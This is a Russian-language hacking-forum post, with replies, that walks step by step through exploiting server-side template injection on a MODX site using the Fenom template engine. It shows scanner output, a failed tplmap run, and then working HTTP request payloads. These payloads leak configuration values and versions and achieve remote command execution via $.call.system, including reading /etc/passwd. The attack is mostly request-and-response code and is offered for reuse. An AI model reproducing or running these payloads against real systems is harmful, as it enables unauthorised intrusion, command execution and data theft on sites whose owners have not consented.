• XSS.stack #1 – первый литературный журнал от юзеров форума

Самый простой пример эксплуатации SSTI

c0d3x

Мафиозник
Эксперт
Регистрация
18.08.2021
Сообщения
1 203
Решения
2
Реакции
2 797
Server-Side Template Injection (SSTI) — возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон — это HTML-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный HTML. Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям. SSTI может использоваться для прямой атаки на внутренние компоненты веб-сервера и удаленно выполнять код.

Встречаются такие вульны редко, по крайней мере именно мне, ввиду отсутствия свободного времени :) Последний раз эксплуатировал такое года полтора назад. И вот, вчера при сканировании кое-какого сайта Acunetix'ом, увидел детект SSTI:

111.png


  • Акунетикс сообщает о Confidence 95% — проще говоря, софт не уверен что уязвимость юзабельна, ввиду того что дефолтные пэйлоады этого сканнера не смогли внедрить/выполнить какие либо команды на сервере, кроме одной: отработал только дефолтный детектор (пэйлоад SSTI) - acx{98991*97996}xca
  • В моем случае уязвимость обнаружена при помощи выполнения математической операции внутри выражения шаблонизатора. Сканнер передал на потенциально уязвимый GET параметр пэйлоад 98991*97996 внутри фигурных скобок и шаблонизатор выполнив эту операцию вернул ответ 9700722036 — умножил 98991 на 97996.
  • И помимо информации о наличии уязвимости сканнер сообщает нам имя движка этого шаблонизатора: Smarty, видимо основываясь на данной инфографике:

1658418783900.png

  • Из-за лени решаю заюзать TPLMap — почти как SQLMap, только под SSTI. Скармливаю ему команду:
Код:
./tplmap.py -u "https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=*&product=410" --level=5 -e Smarty
  • Уязвимый параметр так же как в SQLMap помечается астериском *
  • Флаг --level=5 указывается для того, что-бы софтина чекала всевозможные пэйлоады, а не только самые распространенные.
  • Флаг -e используется для указания конкретного движка шаблонизатора, для того что-бы не проверять пэйлоады под все имеющиеся (популярные) шаблонизаторы.
  • По итогу, TPLMap сообщает о том что параметр неуязвим:


888888.png

  • Ух с#ка!11 Иду чекать руками выражения из официальной документации к Smarty:
Код:
{$smarty.version}
{$smarty.config.foo}
{$smarty.template}
{php}echo `id`;{/php}
{$smarty.const.PHP_VERSION}
  • Ни чего не возвращает, ни на один пэйлоад:
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$smarty.version}&product=410 HTTP/1.1
HTML:
#Ответ

<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=&product=410" hreflang="en-GB">
  • При этом, если отправить:
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={4*4}&product=410 HTTP/1.1
  • То выполняет и возвращает ответ:
HTML:
#Ответ

<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=16&product=410" hreflang="en-GB">
  • И тут, в респонсах, а именно в хидерах я наконец-то замечаю X-Powered-By: MODX Revolution
  • Гуглю "MODX шаблонизатор" и натыкаюсь на статью — "Сравнение шаблонизаторов MODX, Fenom и Smarty"
  • Нахожу этот Fenom и MODX + Fenom
Поддержка шаблонизатора Fenom появилась в pdoTools с версии 2.0, после чего он стал требовать PHP 5.3+.

Он работает гораздо быстрее, чем родной modParser, и если вы перепишите свой чанк так, что в нём не будет ни одного тега MODX, то modParser и вовсе не будет запускаться. При этом, конечно, одновременная работа и старых тегов, и новых в одном чанке допускается.
  • Смотрю синтаксис, переменные, и вообще всю документацию в целом. И приступаю к тестам:
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$_modx->config.emailsender}&product=410 HTTP/1.1
HTML:
#Ответ

<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=orders@target.com&product=410" hreflang="en-GB">
  • Еще..
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.version}&product=410 HTTP/1.1
HTML:
#Ответ

<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=2.12.1&product=410" hreflang="en-GB">
  • Еще чуть-чуть :D
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.const.PHP_VERSION}&product=410 HTTP/1.1
HTML:
#Ответ

<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=8.0.15&product=410" hreflang="en-GB">
  • В документации обнаруживаю:
$.call обращение к статическомому методу. $.call.Storage.FS::put($filename, $data) обращение к методу Storage\FS::put($filename, $data). Настройка disable_call отключает возможность обращения к $.call. Так же можно ограничить и указать список доступных к вызову классов и функций.
  • Го:
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.call.system('uname')}&product=410 HTTP/1.1
HTML:
#Ответ

<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=Linux&product=410" hreflang="en-GB">
  • А так?
Код:
#Запрос

GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.call.system('cat%20/etc/passwd')}&product=410 HTTP/1.1
  • Ответ:
78675768.png


  • Внимание! Спасибо за внимание! Надеюсь кому нибудь пригодится.
  • P.S. Это пример невнимательности и распи#дяйства: ведь если бы я сразу обратил внимание на хидер X-Powered-By: MODX Revolution - не пришлось бы тратить лишние 10 минут на тест пэйлоадов под Smarty и читать всю документацию.
  • Более подробно с SSTI можно ознакомиться здесь и здесь.
 
Последнее редактирование:
cli_parser я вроде как установил

Traceback (most recent call last):
File "/home/kali/Downloads/tplmap-0.5/tplmap.py", line 2, in <module>
from utils import cliparser
File "/home/kali/Downloads/tplmap-0.5/utils/cliparser.py", line 163, in <module>
parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))
TypeError: method expected 2 arguments, got 3
 
сам справился по итогу
Только домой зашел. Он не заводится на третьем питоне. Я на 2.7 сначала устанавливаю requirements.txt и потом запускаю как писал изначально. Пробовал на третьем разные варианты, так и не получилось запустить, да и вообще много жалоб что оно не работает на 3 версии.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
я согласен. Но так же, как и TPLmap, я представил его, чтобы он когда-нибудь мог кому-то помочь.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх